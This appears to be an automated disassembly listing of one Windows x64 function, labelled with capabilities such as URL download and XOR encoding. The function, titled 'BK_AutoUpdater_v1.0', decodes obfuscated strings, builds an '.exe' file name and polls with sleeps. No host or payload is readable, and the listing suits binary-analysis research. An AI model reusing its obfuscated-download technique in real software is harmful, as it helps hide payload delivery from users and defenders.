Function at 0x14003cbc0
Capabilities:
Download url
Encode data using xor
Receive data
Set console window title
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x138]
sub rsp, 0x200
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
xor ebx, ebx
lea rcx, str.BK_AutoUpdater_v1.0
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x14015c6c8]
mov dword [rbp + 0x140], eax
movdqa xmm10, xmmword [0x14015d270]
movdqa xmm12, xmmword [str.8888888888888888]
movdqa xmm11, xmmword [0x14015d260]
movdqa xmm6, xmmword [0x14015d700]
movdqa xmm7, xmmword [0x14015d230]
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14015c6cb], bl
je 0x14003cd10
cmp edi, 2
jl 0x14003ccc7
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm12
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x140], xmm1
jmp 0x14003cd10
lea r9, [rbp + 0x140]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14003cce0
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], rbx
lea rax, [rbp + 0x140]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], bl
jne 0x14003cd30
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 8]
call fcn.140052140
nop
movups xmm0, xmmword [0x14015c7f0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14015c800]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x14015c810]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x14015c820]
movups xmmword [rbp - 0x10], xmm1
movzx eax, word [0x14015c830]
mov word [rbp], ax
mov r8d, ebx
cmp edi, 2
jl 0x14003ce8b
movdqa xmmword [rbp - 0x80], xmm12
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14003cda0
cmp r8d, 0x42
jge 0x14003ced0
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
jl 0x14003cea0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rbp - 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003cef0
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140052140
nop
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x28]
call fcn.14003c540
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003cf58
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003cf53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003cf53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401200e8
movdqa xmm0, xmmword [0x14015d1d0]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rcx, qword [rbp + 0x38]
test rcx, rcx
jne 0x14003cffe
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x14003cfb4
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003cfae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003de51
call fcn.1401200e8
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x14003d7df
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d7da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003de9b
call fcn.1401200e8
xor al, al
jmp 0x14003d6bf
lea r13, [rbp + 8]
mov r14, qword [rbp + 8]
mov rdi, qword [rbp + 0x20]
cmp rdi, 0xf
cmova r13, r14
lea rax, [rbp + 0x28]
mov r15, qword [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rax, r15
mov qword [rbp + 0x148], rax
mov r12, qword [rbp + 0x18]
cmp r12, rcx
ja 0x14003d0ac
sub rcx, r12
test r12, r12
je 0x14003d2f4
inc rcx
add rcx, rax
mov qword [rbp + 0x140], rcx
movsx edx, byte [r13]
mov r8, rcx
sub r8, rax
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x14003d0a8
nop word [rax + rax]
mov r8, r12
mov rdx, r13
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14003d2df
inc rdi
mov r8, qword [rbp + 0x140]
sub r8, rdi
movsx edx, byte [r13]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x14003d070
mov rdi, qword [rbp + 0x20]
movups xmm0, xmmword [0x14015cc18]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14015cc28]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x14015cc38]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x14015cc48]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [0x14015cc50]
mov dword [rbp - 8], eax
movzx eax, word [0x14015cc54]
mov word [rbp - 4], ax
movzx eax, byte [0x14015cc56]
mov byte [rbp - 2], al
mov r8d, ebx
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x14003d20b
movdqa xmmword [rbp - 0x80], xmm12
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14003d120
cmp r8d, 0x3f
jge 0x14003d250
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3f
jl 0x14003d220
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rax, [rbp - 0x40]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003d270
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.140052140
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.14003c540
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14003d703
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d6fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003d6fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
sub rdi, qword [rbp + 0x148]
cmp rdi, 0xffffffffffffffff
je 0x14003d0a8
mov rdi, qword [rbp + 0x20]
lea rdx, [0x140051740]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r10, rax
movups xmm0, xmmword [0x14015c3c0]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14015c3d0]
movsd qword [rsp + 0x50], xmm0
movzx ecx, byte [0x14015c3d8]
mov byte [rsp + 0x58], cl
mov r8d, ebx
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14003d43b
movdqa xmmword [rbp - 0x80], xmm12
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x80]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14003d350
cmp r8d, 0x19
jge 0x14003d480
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14003d450
lea rdx, [rsp + 0x40]
mov rcx, r10
call fcn.140051560
lea rdx, [0x140051740]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140051740]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9, rax
movups xmm0, xmmword [0x14015c900]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x14015c910]
movsd qword [rsp + 0x50], xmm0
movzx ecx, word [0x14015c918]
mov word [rsp + 0x58], cx
cmp byte [0x14015c919], 0
je 0x14003d62c
cmp esi, 2
jl 0x14003d5e8
movdqa xmmword [rbp - 0x80], xmm12
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x80]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x14003d500
cmp eax, 0x1a
jge 0x14003d62c
movsxd rax, ebx
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1a
jl 0x14003d600
lea rdx, [rsp + 0x40]
mov rcx, r9
call fcn.140051560
lea rdx, [0x140051740]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x40]
cmp rax, 0xf
jbe 0x14003d686
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14003d67d
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003de51
mov rcx, r15
call fcn.1401200e8
nop
cmp rdi, 0xf
jbe 0x14003d6bd
lea rdx, [rdi + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14003d6b5
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003de9b
mov rcx, r14
call fcn.1401200e8
mov al, 1
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1401200e8
nop
movdqa xmm0, xmmword [0x14015d1d0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
cmp qword [rbp - 0x50], 0
jne 0x14003d7e6
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14003d75c
inc rdx
mov rcx, qword [rbp - 0x60]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14003d757
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003de06
call fcn.1401200e8
mov byte [rbp - 0x60], 0
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x50], rbx
mov rax, qword [rbp + 0x40]
cmp rax, 0xf
jbe 0x14003d7a8
lea rdx, [rax + 1]
cmp rdx, 0x1000
mov rax, r15
jb 0x14003d79f
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003de51
mov rcx, r15
call fcn.1401200e8
nop
cmp rdi, 0xf
jbe 0x14003d7df
lea rdx, [rdi + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14003d7d7
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003de9b
mov rcx, r14
call fcn.1401200e8
xor al, al
jmp 0x14003d6bf
movups xmm0, xmmword [str.PMNKO_a]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14015cde8]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x14015cdf8]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x14015ce08]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [0x14015ce10]
mov dword [rbp - 8], eax
movzx eax, word [0x14015ce14]
mov word [rbp - 4], ax
movzx eax, byte [0x14015ce16]
mov byte [rbp - 2], al
mov r8d, ebx
cmp r12d, 2
jl 0x14003d93b
movdqa xmmword [rbp - 0x80], xmm12
lea rcx, [rbp - 0x3c]
mov edx, dword [rbp - 0x80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14003d850
cmp r8d, 0x3f
jge 0x14003d980
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3f
jl 0x14003d950
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
lea rax, [rbp - 0x40]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14003d993
mov r8, rsi
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x48]
call fcn.140052140
nop
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.14003c540
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x14003d9fa
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d9f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003d9f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401200e8
movdqa xmm0, xmmword [0x14015d1d0]
movdqu xmmword [rbp + 0x58], xmm0
mov byte [rbp + 0x48], 0
mov r13, qword [rsp + 0x70]
test r13, r13
jne 0x14003da5b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14003d721
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003da51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003ddc7
call fcn.1401200e8
jmp 0x14003d721
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov r12, rbx
mov qword [rbp - 0x70], rbx
mov esi, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x68], rsi
mov byte [rbp - 0x80], bl
movups xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_accept]
movdqu xmmword [rbp - 0x30], xmm1
mov word [rbp - 0x40], 0xa
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], rsi
cmova rcx, qword [rsp + 0x60]
mov qword [rbp + 0x140], rcx
movabs rax, 0x7fffffffffffffff
cmp r13, rax
ja 0x14003e04c
cmp r13, rsi
ja 0x14003dae1
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], rsi
movups xmm0, xmmword [rcx]
movups xmmword [rsp + 0x40], xmm0
jmp 0x14003db79
mov rdi, r13
or rdi, 0xf
cmp rdi, rax
jbe 0x14003db20
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14011fd9c
mov rcx, rax
test rax, rax
je 0x14003dc3c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14003db57
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14003db3a
mov rax, rbx
jmp 0x14003db57
cmp rcx, 0x1000
jb 0x14003db52
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14003e046
jmp 0x14003dafe
call fcn.14011fd9c
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], rdi
lea r8, [r13 + 1]
mov rdx, qword [rbp + 0x140]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x40]
mov qword [rbp + 0x140], rax
xor r8d, r8d
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.140050af0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14003dbe8
nop
lea r9, [rbp - 0x80]
cmp rsi, 0xf
cmova r9, qword [rbp - 0x80]
mov qword [rsp + 0x20], r12
mov r8d, 1
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.1400512e0
mov r12, qword [rbp - 0x70]
lea r8, [rdi + r12]
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.140050af0
mov rdi, rax
mov rsi, qword [rbp - 0x68]
cmp rax, 0xffffffffffffffff
jne 0x14003dba0
movups xmm9, xmmword [rsp + 0x40]
movups xmm8, xmmword [rsp + 0x50]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x40], 0
mov rax, qword [rsp + 0x78]
cmp rax, 0xf
jbe 0x14003dc48
lea rdx, [rax + 1]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003dc43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003dc43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401200e8
movups xmmword [rsp + 0x60], xmm9
movups xmmword [rsp + 0x70], xmm8
cmp rsi, 0xf
jbe 0x14003dc8f
lea rdx, [rsi + 1]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003dc8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003dc8a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401200e8
movq rcx, xmm8
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 4
jb 0x14003e040
lea r9, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r9, qword [rsp + 0x60]
mov qword [rsp + 0x30], 4
lea rax, str..exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x60]
movzx edx, byte [rbp + 0x140]
lea rcx, [rbp + 0x68]
call fcn.140052870
nop
mov edi, ebx
nop
mov ecx, edi
call fcn.14003c8b0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add edi, 0xa
cmp edi, 0x64
jle 0x14003dcf0
lea r8, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova r8, qword [rbp + 0x68]
lea rdx, [rbp - 0x60]
